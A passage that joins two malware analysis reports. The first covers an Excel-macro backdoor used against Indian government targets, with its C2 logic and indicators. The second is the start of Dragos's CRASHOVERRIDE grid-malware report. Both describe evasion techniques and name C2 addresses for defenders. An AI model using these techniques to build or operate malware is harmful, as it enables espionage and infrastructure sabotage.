malicious excel file the same malware sample was dropped and executed on the victim s system. From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the systems and to spy on the victims. Anti-Analysis Techniques in the Malicious Excel File When the victim opens the attached excel file it prompts the user to enable macro content as shown in the below 2/33 screen shot. To prevent viewing of the macro code and to make manual analysis harder attackers password protected the macro content as show below. Even though the macro is password protected, It is possible to extract macro code using analysis tools like oletools. In this case oletools was used to extract the macro content but it turns out that the oletools was able to extract only partial macro content but it failed to extract the malicious content present inside a Textbox within the Userform. Below screen shot shows the macro content extracted by the oletools. 3/33 This extracted macro content was copied to new excel workbook and the environment was setup to debug the macro code. Debugging the macro code failed because the macro code accesses the textbox content within the UserForm (which oletools failed to extract). The technique of storing the malicious content inside the TextBox within the UserForm allowed the attackers to bypass analysis tools. Below screen shot shows the macro code accessing the content from the TextBox and the error triggered by the code due to the absence of the TextBox content. To bypass the anti-analysis technique and to extract the content stored in the TextBox within the UserForm the password protection was bypassed which allowed to extract the content stored within the UserForm. Below screen shot shows the TextBox content stored within the UserForm. 4/33 At this point all the components (macro code and the UserForm content) required for analysis was extracted and an environment similar to the original excel file was created to debug the malicious macro. Below screen shots show the new excel file containing extracted macro code and the UserForm content. Analysis of Malicious Excel File When the victim opens the excel file and enables the macro content, The malicious macro code within the excel file is executed. The macro code first generates a random filename as shown in the below screen shot. 5/33 It then reads the executable content stored in the TextBox within the UserForm and then writes the executable content to the randomly generate filename in the %AppData% directory. The executable is written in .NET framework The content stored in the TexBox within the UserForm is an executable content in the decimal format. Below screen shot shows converted data from decimal to text. In this case the attackers used the TextBox within the UserForm to store the malicious executable content. 6/33 The dropped file in the %AppData% directory is then executed as shown in the below screen shot. 7/33 Once the dropped file is executed it copies itself into %AppData%\SQLite directory as SQLite.exe and executes as shown below. As a result of executing SQLite.exe it makes a HTTP connection to the C2 server (qhavcloud[.]com). The C2 communication shown below contains a hard coded user-agent and the double slash (//) in the GET request this can be used to create network based signatures. 8/33 Reverse Engineering the Dropped File (SQLite.exe) The dynamic/sandbox analysis did not reveal much about the functionality of the malware, in order to understand the capabilities of the malware, the sample had be reverse engineered. The malware sample was reverse engineered in an isolated environment (without actually allowing it to connect to the c2 server).This section contains reverse engineering details of this malware and its various features. a) Malware Validates C2 Connection Malware checks if the executable is running as SQLite.exe from %AppData%\SQLite directory, if not it copies itself as SQLite.exe to %AppData%\SQLite directory as shown below. It then launches the executable (SQLite.exe) with the command line arguments as shown in the below screen shots. Malware performs multiple checks to make sure that it is connecting to the correct C2 server before doing anything malicious. first its pings the C2 domain qhavcloud[.]com. Below screen shots show the ping to the C2 server. 9/33 If the ping succeeds then it determines if C2 server is alive by sending an HTTP request, it then reads the content from the C2 server and looks for a specific string Connection! . If it does not find the string Connection! it assumes that C2 is not alive or it is connecting to the wrong C2 server. This technique allows the attackers to validate if they are connecting to the correct C2 server and also this technique does not reveal any malicious behavior in dynamic/sandbox analysis until the correct response is given to the malware. Below screen shots show the code that is performing the C2 connection and the validation. If the ping does not succeed or if the C2 response does not contain the string Connection! then the malware gets 10/33 the list of backup C2 servers to connect by downloading a text file from the Google drive link. This technique of storing a text file containing the list of backup C2 servers on the legitimate site has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. Below screen shots show the code that downloads the text file and text file (info.txt) saved on the disk. During the time of analysis the text file downloaded from the Google drive link was populated with two private IP addresses, it looks like the attackers deliberately populated the IP addresses with two private IP addresses to prevent the researchers from determining actual IP/domain names of the backup C2 servers. Below screen shot shows the IP addresses in the text file. Once the text file is downloaded the malware reads each and every IP address from the text file and performs the same C2 validation check (ping and checks for the string Connection! from the C2 response). Below screen shot shows the HTTP connection made to those IP addresses. 11/33 b) Malware Sends System Information Based on the analysis it was determined that the malware looks for a string Connection! in the C2 response, so the analysis environment was configured to respond with a string Connection! whenever the malware made a C2 connection. Below screen shot shows the C2 communication made by the malware and the expected response. Once the malware validates the C2 connection then the malware creates an XML file (SQLite.xml) inside which it stores the user name and the password to communicate with the C2 server. Malware generates the user name to communicate with the C2 by concatenating a) the machine name, b) a random number between 1000 to 9999 and c) the product version of the file. Below screen shot shows the code that generates the user name Malware generates the password to communicate with the C2 by building an array of 16 random bytes, these random bytes are then encoded using base64 encoding algorithm and malware then replaces the characters and 12/33 with and respectively from the encoded data. The attackers use the technique of replacing the standard characters with custom characters to makes it difficult to decode the string (containing the characters and using standard base64 algorithm. Below screen shot shows the code that generates the password. Once the user name and password is generated, malware then creates an XML file (SQLITE.xml) and populates the XML file with the generated user name and password. Below screen shot shows the code that creates the XML file Below screen shot shows the XML file populated with the user name and the password which is used by the malware to communicate with the C2 server. The malware then collects system information like the computer name, operating system caption, IP address of the infected system, product version of the executable file and sends it to the C2 server along with the generated user 13/33 name and password using a POST request to postdata.php. Below screen shots show the code that collects the system information and the data that is sent to the attacker. c) Malware Sends Process Information Malware then enumerates the list of all the processes running on the system and sends it to the C2 server along with the user name and password using a POST request to JobProcesses.php as shown in the below screen shots. This allows the attackers to know which programs are running on the system or if any analysis tools are used to inspect the malware. 14/33 Malware Functionalities Apart from sending the system information and process information to the C2 server, the malware also has the capability to perform various other tasks by taking command from the C2. This section focuses on different functionalities of the malware a) Download & Execute Functionality 1 Malware triggers the download functionality by connecting to the C2 server and making a request to either Jobwork1.php or Jobwork2.php, if the C2 response satisfies the condition then it downloads & executes the file. After understanding the logic (logic is mentioned below) & to satisfy the condition the environment was configured to give proper response whenever the malware made a request to Jobwork1.php or Jobwork2.php. Below screen shot shows the response given to the malware. 15/33 Malware then reads the response successfully as shown in the below screen shot. from the C2 response it extracts two things a) URL to download an executable file and b) the command string that will trigger the download functionality From the C2 response the URL is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string (URL) to extract by finding the start offset of the string clientpermission once it finds it, its offset value is subtracted with 17. The command string to trigger the download functionality is extracted from the C2 response using the logic shown below. Below screen shot shows the logic used to extract the URL and the command strings, in the below screen shot the extracted command string is stored in the variable ServerTask1Permission. 16/33 Once the URL and command string is extracted, the malware compares the command string with the string Pending , only if the command string matches with string Pending the download functionality is triggered. When all the above mentioned conditions are satisfied the malware downloads the executable from the URL extracted from the C2 response. Below screen shot shows the URL extracted from the C2 response. Note: In the below screen shot the URL (hxxp://c2xy.com/a.exe) is not the actual URL used by the malware for downloading the file, this is a test URL used to determine the functionality, so this URL should not used as an indicator. Below screen shot shows the network traffic of malware trying to download the executable file from the extracted URL. 17/33 The downloaded executable is saved in the %AppData%\SQLite directory as shown in the below screen shot. The downloaded file is then executed by the malware as shown in the below screen shot. Once the downloaded file is executed the malware reports that the download & execute was successful by making a POST request to JobDone.php as shown in the below screen shots 18/33 This functionality allows the attacker to change their hosting site (from where the malware will be downloaded), this can be achieved by changing the C2 response containing different URL. b) Download & Execute Functionality 2 Malware also supports second type of download functionality,instead of extracting the URL from the C2 response and downloading the executable, it gets executable content from the networks stream from a hard coded IP address and then writes it to the disk and executes it. This functionality is triggered by making a request to either JobTcp1.php or JobTcp2.php, if the C2 response satisfies the condition then it gets the executable content from a hard coded IP address. After understanding the logic & to satisfy the condition the environment was configured to give proper response when the malware made a request to JobTcp1.php or JobTcp2.php. Below screen shot shows the response given to the malware. 19/33 Malware then reads the c2 response and from the C2 response it extracts two things a) filename and b) the command string that will trigger the download functionality. From the C2 response the filename is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string to extract by finding the start offset of the string clientpermission once it finds it, its offset value is subtracted with 17. The command string to trigger the download functionality is extracted from the C2 response using the logic shown below. Below screen shot shows the logic used to extract the filename and the command string, in the below screen shot the extracted command string is stored in the variable ServerTask1Permission. Once the filename and command string is extracted, the malware compares the command string with the string Pending , if the command string matches with string Pending then the extracted filename (in this case the extracted filename is testfile ) from the C2 response is concatenated with .exe as shown below. 20/33 It then connects to the hard coded IP 91[.]205[.]173[.]3 on port 6134, and it sends the concatenated filename (testfile.exe) as shown below. The IP address after verifying the filename then returns the executable content which malware reads directly from the network stream and writes to the disk in the %Appdata%\SQLIte directory as shown below. 21/33 The dropped file is then executed as shown in the below screen shot. c) Update Functionality Malware has the capability to update itself this is done by making a request to updateproductdownload.php, if C2 response satisfies the condition then it downloads the updated executable from an URL. After understanding the logic & to satisfy the condition the environment was configured to give proper response. Below screen shot shows the response given to the malware when it makes a request to updateproductdownload.php 22/33 Malware then reads the c2 response and from the C2 response it extracts two things a) URL to download the updated executable and b) the command string that will trigger the update functionality From the C2 response the URL is extracted by finding the start offset of the string updatetpermission once it finds it, its offset value is subtracted with 17 to get the URL from where the updated executable will be downloaded. To get the command string malware extracts the string starting from the offset of the string updatetpermission + 19 and extracts a 7 character length string which it uses as the command string. Below screen shot shows the logic used to extract the URL and the command string, in the below screen shot the extracted command string is stored in the variable ServerUpdatePermissionInstruction. Once the URL and command string is extracted, the malware compares the command string with the string Pending , only if the command string matches with string Pending then the malware downloads the updated executable from the extracted URL. Below screen shot shows the code which performs the check and and extracted Note: In the below screen shot the URL (hxxp://c2xyup.com/update.exe) is not the actual URL used by the malware for updating, this is a test URL used to determine the functionality, so this URL should not used as an indicator. 23/33 The malware then downloads the updated executable and drops it in the %Appdata%\SQLite directory as shown in the below screen shots. Once it downloads the updated executable then the malware creates a value in the Run registry key for persistence, before that it deletes the old entry and adds the new entry so that next time when the system starts the updated executable will run. Below screen shots show the registry entry added by the malware. 24/33 The functionality allows the attacker to update their malware components. d) Delete/Uninstall Functionality Malware also has the capability to delete itself this is done by making a request to Uninstaller.php. Below screen shot shows the code that makes this request. 25/33 The environment was configured to give a proper response to trigger the uninstall/delete functionality. Below screen shot shows the network traffic making the POST request to Uninstaller.php and the returned response. Malware then checks if the C2 response contains the string delete . Below screen shots show the code that reads the C2 response and the code that performs the check. 26/33 If the C2 response contains the string delete , then the malware first deletes the entry from the Run registry that the malware uses for persistence as shown below. After deleting the registry entry, malware deletes all the files from the %Appdata%\SQLite directory by creating a batch script. The batch script pings a hard coded IP address 180[.]92[.]154[.]176 10 times (this is a technique used to sleep for 10 seconds) before deleting all the files. 27/33 Once the all the files are deleted the malware kills its own process as shown in the below screen shot. This functionality allows the attackers to delete their footprints on the system. C2 Information This section contains the details of the C2 domain qhavcloud[.]com. This C2 domain was associated with two IP addresses. Both of these IP addresses is associated with hosting provider in Germany as shown in the screen shots below. 28/33 The hard coded IP address 91[.]205[.]173[.]3 in the binary from where the malware downloads additional components is also associated with the same hosting provider in Germany as shown below. The C2 domain qhavcloud[.]com was also found to be associated with multiple malware samples in the past. Below screen shot shows the md5 hashes of the samples that is associated with the C2 domain. 29/33 The C2 domain qhavcloud[.]com and the hard coded IP address 91[.]205[.]173[.]3 were also found to be associated with another attack campaign which targeted the senior army officers. This suggests that the same espionage group involved in this attack also targeted the senior army officers using a different email theme. Threat Intelligence Investigating the domain idsadesk[.]in (which was used to send the email by impersonating the identity of IDSA) shows that it was created on 20th Feb 2017 (which is the day before the spear-phishing email was sent to the victims). Most of the registrant information seems to be fake and another notable detail that is of interest is the registrant country and country code (+92) of registrant phone number is associated with Pakistan. 30/33 Further investigation shows that the same registrant email id was also used to register another similar domain (idsagroup[.]in) which also impersonates the identity of IDSA. This impersonating domain was also registered on the same day 20th February 2017 and this domain could also be used by the attackers to send out spear-phishing emails to different targets. While investigating the malware s uninstall/delete functionality it was determined that malware creates a batch script to delete all its files but before deleting all the files it pings 10 times to an hard coded IP address 180[.]92[.]154[.]176 as shown below. 31/33 Investigating this hard coded IP address shows that it is located in Pakistan. The Pakistan connection in the whois information and the hard coded IP address is interesting because the previous two attacks against Indian Ministry of External Affairs and Indian Navy s submarine manufacturer also had a Pakistan connection. Based on just the whois information (which can be faked) and the location of the IP address it is hard to say if the Pakistan espionage group is involved in this attack, but based on the email theme, tactics used to impersonate Indian think tank (IDSA) and the targets chosen that possibility is highly likely. Below screen shot shows the location of the hard coded IP address. Indicators Of Compromise (IOC) In this campaign the cyber espionage group targeted Central Bureau of Investigation (CBI) but it is possible that other government entities could also be targeted as part of this attack campaign. The indicators associated with this attack are provided so that the organizations (Government, Public, Private organizations and Defense sectors) can use these indicators to detect, remediate and investigate this attack campaign. Below are the indicators Dropped Malware Sample: f8daa49c489f606c87d39a88ab76a1ba Related Malware Samples: 15588a9ba1c0abefd38ac2594ee5be53 04b4b036a48dc2d2022cc7704f85a560 becc8e77ef003a4c88f7e6348ffd3609 ceeeacbaf38792bcf06022e2b4874782 515dce0ede42052ff3ef664db9873cea 50c1d394bfa187ffd6251df6dd14e939 3bd16cc1d1fea7190c36b3bd10c6810d b6c861556412a15b7979459176b7d82f Network Indicators Associated with C2: qhavcloud[.]com 173[.]212[.]194[.]214 173[.]212[.]193[.]53 91[.]205[.]173[.]3 180[.]92[.]154[.]176 Domains Impersonating the Identity of Indian Think Tank (IDSA): 32/33 idsadesk[.]in idsagroup[.]in Email Indicator: iasia69@z7az14m[.]com C2 Communication Patterns: hxxp://qhavcloud[.]com//northernlights//PingPong.php hxxp://qhavcloud[.]com//northernlights//postdata.php hxxp://qhavcloud[.]com//northernlights//JobProcesses.php hxxp://qhavcloud[.]com//northernlights//JobWork1.php hxxp://qhavcloud[.]com//northernlights//JobWork2.php hxxp://qhavcloud[.]com//northernlights//JobTCP1.php hxxp://qhavcloud[.]com//northernlights//JobTCP2.php hxxp://qhavcloud[.]com//northernlights//updateproductdownload.php hxxp://qhavcloud[.]com//northernlights//Uninstaller.php Conclusion Attackers in this case made every attempt to launch a clever attack campaign by impersonating the identity of highly influential Indian Think tank to target Indian investigative agency and the officials of the Indian army by using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to spy or to take control of the systems of the officials of Central Bureau of Investigation (CBI) and officials of the Indian Army. Use of domain impersonating the identity of highly influential Indian think tank Victims/targets chosen (CBI and Army officials) Use of Email theme that is of interest to the targets Location of one of the hard coded IP address in the binary Use of TTP s (tactics, techniques & procedures) similar to the previous campaigns targeting Indian Ministry of External Affairs and Indian Navy s Warship Manufacturer. Use of the same C2 infrastructure that was used to target senior army officers The attackers in this case used multiple techniques to avoid detection and to frustrate analysts. The following factors reveal the attackers intention to remain stealthy and to gain long-term access by evading analysis and security monitoring at both the desktop and network levels. Use of password protected macro to prevent viewing the code and to make manual analysis harder Use of TextBox within the UserForm to store malicious content to bypass analysis tools Use of legitimate service like Google drive to store the list of back up C2 servers to bypass security monitoring and reputation based devices. Use of malware that performs various checks before performing any malicious activity Use of backup C2 servers and hosting sites to keep the operation up and running Use of hosting provider to host C2 infrastructure 33/33 CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations DRAGOS INC. / WWW.DRAGOS.COM version 2.20170613 C R A S H OV E R R I D E : Threat to the Electic Grid Operations CRASHOVERRIDE Analyzing the Threat to Electric Grid Operations Contents Executive Summary Why Are We Publishing This Key Takeaways Background Introduction to Electric Grid Operations Evolution of Tradecraft STUXNET Dragonfly/HAVEX BLACKENERGY 2 Ukraine Cyber Attack 2015 CRASHOVERRIDE Capabilities Capabilities Overview Module Commonalities Backdoor/RAT Module Launcher Module Data Wiper Module IEC 104 Module IEC 101 Module 61850 Module OPC DA Module SIPROTECT DoS Module Capability Conclusions Implications of capability Attack Option: De-energize substation Attack Option: Force an Islanding event Adding Amplification Attacks Using OPC to create a Denial of Visibility Using CVE-2015-5374 to hamper protective relays Defense Recommendations C R A S H OV E R R I D E : Threat to the Electic Grid Operations Executive Summary Dragos, Inc. was notified by the Slovak anti-virus firm ESET of an ICS tailored malware on June 8th, 2017. The Dragos team was able to use this notification to find samples of the malware, identify new functionality and impact scenarios, and confirm that this was the malware employed in the December 17th, 2016 cyber-attack on the Kiev, Ukraine transmission substation which resulted in electric grid operations impact. This report serves as an industry report to inform the electric sector and security community of the potential implications of this malware and the appropriate details to have a nuanced discussion. Why Are We Publishing This Security firms must always balance a need to inform the public against empowering adversaries with feedback on how they are being detected and analyzed. This case is no different. In fact, it is more important given that there is no simple fix as the capability described in this report takes advantage of the knowledge of electric grid systems. It is not an aspect of technical vulnerability and exploitation. It cannot just be patched or architected away although the electric grid is entirely defensible. Human defenders leveraging an active defense such as hunting and responding internally to the industrial control system (ICS) networks can ensure that security is maintained. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Key Takeaways The malware self-identifies as crash in multiple locations thus leading to the naming convention CRASHOVERRIDE for the malware framework. CRASHOVERRIDE is the first ever malware framework designed and deployed to attack electric grids. CRASHOVERRIDE is the fourth ever piece of ICS-tailored malware (STUXNET, BLACKENERGY 2, and HAVEX were the first three) used against targets and the second ever to be designed and deployed for disrupting physical industrial processes (STUXNET was the first). CRASHOVERRIDE is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia. CRASHOVERRIDE is extensible and with a small amount of tailoring such as the inclusion of a DNP3 protocol stack would also be effective in the North American grid. CRASHOVERRIDE could be leveraged at multiple sites simultaneously, but the scenario is not cataclysmic and would result in hours, potentially a few days, of outages, not weeks or more. Dragos assesses with high confidence that the same malware was used in the cyber-attack to de-energize a transmission substation on December 17, 2016, resulting in outages for an unspecified number of customers. The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages. CRASHOVERRIDE could be extended to other industries with additional protocol modules, but the adversaries have not demonstrated the knowledge of other physical industrial processes to be able to make that assessment anything other than a hypothetical at this point and protocol changes alone would be insufficient. Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Background On June 8th, 2017 the Slovak anti-virus firm ESET shared a subset of digital hashes of the malware described below and a portion of their analysis with Dragos. The Dragos team was asked to validate ESET s findings to news publications ESET had contacted about the story which would be published June 12th, 2017. Dragos would like to thank ESET for sharing the digital hashes which allowed the Dragos team to spawn its investigation. Without control of the timeline, it was Dragos desire to publish a report alongside ESET s report to capture the nuance of electric grid operations. The report also contains new discoveries, indicators, and implications of the tradecraft. Also, because of the connection to the activity group Dragos tracks as ELECTRUM, it was our decision that an independent report was warranted. The Dragos team has been busy over the last 96 hours reproducing and verifying ESET s analysis, hunting for new samples of the malware and potential additional infections, notifying appropriate companies, and informing our customers. Importantly, Dragos also updated ICS vendors that needed to be made aware of this capability, relevant government agencies, many national computer emergency response teams (CERTs), and key players in the electric energy community. Our many thanks to those involved. If you are a Dragos, Inc. customer, you will have already received the more concise and technically in-depth intelligence report. It will be accompanied by follow-on reports, and the Dragos team will keep you up-to-date as things evolve. It is in Dragos view that the following report contains significant assessments that deserve a wide audience in the electric sector. Avoiding hype and fear should always be paramount but this case-study is of immediate significance, and this is not a singular contained event. The CRASHOVERRIDE capability is purpose built to impact electric grid operations and has been created as a framework to facilitate the impact of electric grids in other countries in the future outside the attack that took place with it December 17th, 2016 in Ukraine. However, as always, the defense is doable. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Introduction to Electric Grid Operations As with most ICS specific incidents, the most interesting components of the attack are in how the adversary has demonstrated they understand the physical industrial process. Whereas vulnerabilities, exploits, and infection vectors can drive discussions in intrusion analysis of IT security threats that is not the most important aspect of an ICS attack. To fully understand the CRASHOVERRIDE framework, its individual capabilities, and overall impact on ICS security it is important to understand certain fundamentals of electric grid operations. Simplistically, the electric grid can be categorized into three functions: generation of electricity at power plants, transmission from the power plants across typically long distances at high voltage, and then stepped down to lower voltage to distribution networks to power customers. Along these long transmission and distribution systems are substations to transform voltage levels, serve as switching stations and feeders, and fault protection. Many industries feed into the electric grid, and those differences require different systems and communications. As an example, while a power plant feeds energy into the electric grid there is no one-size-fits-all approach to power plants. There are power plants that cover different sources of fuel including coal-fired, nuclear generation, wind farm, solar farm, gas turbine power, hydroelectric and more. This means that the electric grid must be a robust, almost living creature, which moves and balances electricity across large regions. Electric grids use a special type of industrial control system called a supervisory control and data acquisition (SCADA) system to manage this process across large geographical areas. Transmission and distribution owners have their substations in their particular geographical footprint and control centers manage the cross-territory SCADA systems 24/7 by human operators. These control centers often regularly manage the continual demand and response of their customers, respond to faults, and plan and work with neighboring utilities. This simplistic view of grid operations is similar around the world. There are often vendor and network protocol differences between countries but the electrical engineering, and the overall process is largely the same between nations. As an example, these systems use SCADA and leverage systems such as remote terminal units (RTUs) to control circuit breakers. As the breakers open and close, substations are energized or de-energized to balance power across the grid. Some network protocols such as IEC 104, a TCP-based protocol, and its serial protocol companion IEC 101, are often regional specific. Europe, some of Asian, and portions of the Middle East leverage these protocols to control RTUs from the SCADA human machine interfaces (HMIs). C R A S H OV E R R I D E : Threat to the Electic Grid Operations Figure 1: Simplistic Mockup of Electric Grid Operations Systems and Communications Relevant for CRASHOVERRIDE In North America, the protocol of choice for this is the Distributed Network Protocol 3 (DNP3). The various protocols purposes are largely the same though: control physical equipment through RTUs, programmable logic controllers (PLCs), and other final control elements via HMIs as a part of the larger SCADA system. Some protocols have been adopted cross-country including IEC 61850 which is usually leveraged from an HMI to work with equipment such as digital relays and other types of intelligent electronic devices (IEDs). IEDs are purpose built microprocessor-based control devices and can often be found alongside power equipment such as circuit breakers. IEDs and RTUs operate in a master/slave capacity where the slave devices are polled and sent commands by master devices. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Substations manage the flow of power through transmission or distribution lines. Management of energizing and de-energizing of these lines ultimately control when and where the flow of power moves in and out of the substation. If you open a breaker you are removing the path where the electricity is flowing, or de-energizing it. If you close a breaker then you are energizing the line by closing the gap and allowing the power to flow. This concept is similar to anyone who has tripped (opened) a breaker in their house. Traditional or IT security staff may be confused on this terminology as it is opposite to how one would describe firewall rules where open means network traffic may flow and closed means network traffic is prohibited. The grid is a well-designed system, and while damage can be done, it is vital to understand that in nations around the world the electric community has designed the system to be reliable and safe which has a natural byproduct of increased security. In the United States as an example, reliability is reinforced with regular training and events such as the North American grid s GridEx where grid operators train for events from hurricanes, to terrorist incidents, to cyber-attacks and how they will respond to such outages. There is constantly a balance that must be understood when referring to grid operations: yes, the systems are vulnerable and more must be done to understand complex and multi-stage attacks, but the grid is also in a great defensible position because of the work of so many over the years. Evolution of Tradecraft CRASHOVERRIDE represents an evolution in tradecraft and capabilities by adversaries who wish to do harm to industrial environments. To fully appreciate the malware it is valuable to compare it to its predecessors and the Ukraine 2015 cyber attack. STUXNET The STUXNET malware has been written about extensively and referenced, at times, unfortunately, in comparison to most ICS related incidents and malware. It was the first confirmed example of ICS tailored malware leveraged against a target. The Windows portion of the code with its four zero-day exploits gained a lot of notoriety. However, it was the malware s payload that was specific to ICS that was the most interesting component. The tradecraft exhibited by STUXNET was the detailed understanding of the industrial process. In IT networks, it is important for adversaries to identify vulnerabilities and exploit them to load malware and gain privileges on systems. C R A S H OV E R R I D E : Threat to the Electic Grid Operations In ICS networks though, some of the most concerning issues are related to an adversary s ability to learn the physical process such as the engineering of the systems and their components in how they work together. STUXNET s greatest strength was leveraging functionality in Siemens equipment to interact with nuclear enrichment centrifuges through abuses of intended functionality. The purpose of the Siemens equipment was to be able to control and change the speed of the centrifuges. Stuxnet did this as well but with pre-programmed knowledge from the attackers on the speeds that would cause the centrifuge to burst from their casings. ICS tailored malware leveraging knowledge of industrial processes was now a thing. However, it was specific to Siemens equipment and unique to the Natanz facility in Iran. While tradecraft and exploits can be replicated, it was not reasonable to re-purpose the Stuxnet capability. Dragonfly/HAVEX The Dragonfly campaign was an espionage effort that targeted numerous industrial control system locations, estimates put it at over 2,000 sites, with a large emphasis on electric power and petrochemical asset owners. The Dragonfly campaign leveraged the HAVEX malware. There are often not many commonalities between different industrial sites. Even a single substation in one company can be almost entirely different than a substation in the same company based on vendors, implementation, integration, and the physical processes required at each site. One of the few commonalities across numerous ICS industries though is the OPC protocol. It is designed to be the universal translator for many industrial components and is readily accessible in an HMI or dedicated OPC server. The HAVEX malware leveraged legitimate functionality in the OPC protocol to map out the industrial equipment and devices on an ICS network. It was a clever use of the protocol and while the malware itself was not complex the tradecraft associated with the usage of OPC was sophisticated. However, the Dragonfly campaign was focused entirely on espionage. There was no physical disruption or destruction of the industrial process. Instead, it was the type of data you would want to leverage to design attacks in the future built for the specific targets impacted with the malware. C R A S H OV E R R I D E : Threat to the Electic Grid Operations BLACKENERGY 2 The Sandworm team has targeted numerous industries ranging from western militaries, governments, research organizations, defense contractors, and industrial sites. It was their use of the BLACKENERGY 2 malware that caught the ICS industry s attention. This ICS tailored malware contained exploits for specific types of HMI applications including Siemens SIMATIC, GE CIMPLICITY, and Advantech WebAccess. BLACKENERGY 2 was a smart approach by the adversaries to target internet connected HMIs. Upon exploitation of the HMIs, the adversaries had access to a central location in the ICS to start to learn the industrial process and gain the graphical representation of that ICS through the HMI. The targeting of HMIs alone is often not enough to cause physical damage, but it is an ideal target for espionage and positioning in an ICS. Gaining a foothold in the network that had access to numerous components of the ICS while maintaining command and control to Internet locations, positioned it well for espionage. Ukraine Cyber Attack 2015 The cyber-attack on three power companies in Ukraine on December 23rd, 2015 marked a revolutionary event for electric grid operators. It was the first known instance where a cyber-attack had disrupted electric grid operations. The Sandworm team was attributed to the attack and their use of the BLACKENERGY 3 malware. BLACKENERGY 3 does not contain ICS components in the way that BLACKENERGY 2 did. Instead, the adversaries leveraged the BLACKENERGY 3 malware to gain access to the corporate networks of the power companies and then pivot into the SCADA networks. While in the environment the adversaries performed their reconnaissance and eventually leveraged the grids systems against itself. They learned the operations and used the legitimate functionality of distribution management systems to disconnect substations from the grid leaving 225,000+ customers without power for upwards of 6 hours until manual operations could restore power. However, due to the wiping of Windows systems through the KillDisk malware and destruction of serial-to-Ethernet devices through malicious firmware updates, the Ukrainian grid operators were without their SCADA environment, meaning they lost the ability for automated control, for upwards of a year in some locations. The most notable aspect of the attack was the adversary s focus on learning how to leverage the systems against themselves. Malware enabled the attack, and malware delayed restoration efforts, but it was the direct interaction of the adversary leveraging the ICS against itself that resulted in the electric power disruptions, not malware. C R A S H OV E R R I D E : Threat to the Electic Grid Operations CRASHOVERRIDE The CRASHOVERRIDE malware impacted a single transmission level substation in Ukraine on December 17th, 2016. Many elements of the attack appear to have been more of a proof of concept than what was fully capable in the malware. The most important thing to understand though from the evolution of tradecraft is the codification and scalability in the malware towards what has been learned through past attacks. The malware took an approach to understand and codify the knowledge of the industrial process to disrupt operations as STUXNET did. It leveraged the OPC protocol to help it map the environment and select its targets similar to HAVEX. It targeted the libraries and configuration files of HMIs to understand the environment further and leveraged HMIs to connect to Internet-connected locations when possible as BLACKENERGY 2 had done. And it took the same type of approach to understanding grid operations and leveraging the systems against themselves displayed in Ukraine 2015 s attack. It did all of these things with added sophistication in each category giving the adversaries a platform to conduct attacks against grid operations systems in various environments and not confined to work only on specific vendor platforms. It marks an advancement in capability by adversaries who intend to disrupt operations and poses a challenge for defenders who look to patching systems as a primary defense, using anti-malware tools to spot specific samples, and relying upon a strong perimeter or air-gapped network as a silver-bullet solution. Adversaries are getting smarter, they are growing in their ability to learn industrial processes and codify and scale that knowledge, and defenders must also adapt. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Capabilities Capabilities Overview The CRASHOVERRIDE malware is a modular framework consisting of an initial backdoor, a loader module, and several supporting and payload modules. The most important items are the backdoor, which provides access to the infected system, the loader module, which enables effects on the target, and the individual payload modules. Dragos focused our analysis on the previously mentioned items as they are most relevant for defending grid operations. Dragos analysts were able to obtain two samples of the malware related to effects on the targeted industrial control system. One sample was the IEC 104 protocol module, and the other sample was the data wiper. Both samples shared common design characteristics indicative of being part of a broader ICS attack and manipulation framework. ESET was able to uncover an additional IEC 61850 and OPC module which they have analyzed and shared with Dragos. Below contains an overview of program execution flow and dependency. Figure 2. CRASHOVERRIDE Module Overview Including ESET s Discoveries C R A S H OV E R R I D E : Threat to the Electic Grid Operations Module Commonalities Dragos analysts were able to determine the compile time for both modules obtained as being within 12 minutes of each other just after 2:30 am on December 18th in an unknown time zone although timestamps for both samples were zeroed out. These times falls in the same timeframe as the Ukraine events. Both module samples exported a function named Crash that served as the main function to begin execution. The common Crash function enables the ability to plug and play additional modules. Backdoor/RAT Module Key Features Authenticates with a local proxy via the internal network established before the backdoor installation After authentication opens HTTP channel to external command and control server (C2) through internal proxy Receives commands via the external command and control (C2) server Creates a file on the local system (contents not determined) Overwrites an existing service to point to the backdoor so the malware persists between reboots Details Access to the ICS network flows through a backdoor module. Dragos obtained four samples which all featured similar functionality. On execution, the malware attempts to contact a hard-coded proxy address located within the local network. ELECTRUM must establish the internal proxy before the installation of the backdoor. The malware expects to communicate to an internal proxy listening on TCP 3128. This port is a default port associated with the Squid proxy. The beaconing continues without pause until it establishes a connection. The backdoor then sends a series of HTTP POST requests with the victim s Windows GUID (a unique identifier set with every Windows installation) in the HTTP body. This information authenticates the targeted machine to the command and control (C2) server. If the C2 server does not respond, the backdoor will exit. C R A S H OV E R R I D E : Threat to the Electic Grid Operations If the authentication is successful to the internal proxy, the malware attempts to perform an HTTP CONNECT to an external C2 server via the internal proxy. Across four samples, Dragos identified three different C2 addresses which were likely part of the December 2016 attack on Ukraine: 195.16.88.6 93.115.27.57 5.39.218.152 A check of the TOR project s ExoneraTOR service indicates that all of the listed IP addresses were listed as active TOR nodes during the events in Ukraine. When performing the HTTP CONNECT, the malware attempts to identify the system default user agent. If this cannot be determined or does not exist, then a hard-coded default for the malware is used: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) The malware can be configured to beacon out periodically afterwards via a hard-coded configuration value. The implant is designed to retrieve commands from the C2 server: Create a new process as logged in user Create a new process as specified user via CreateProcessWithLogon Write a file Copy a file Execute a command as logged in user Execute a command as specified user Kill the backdoor Stop a service 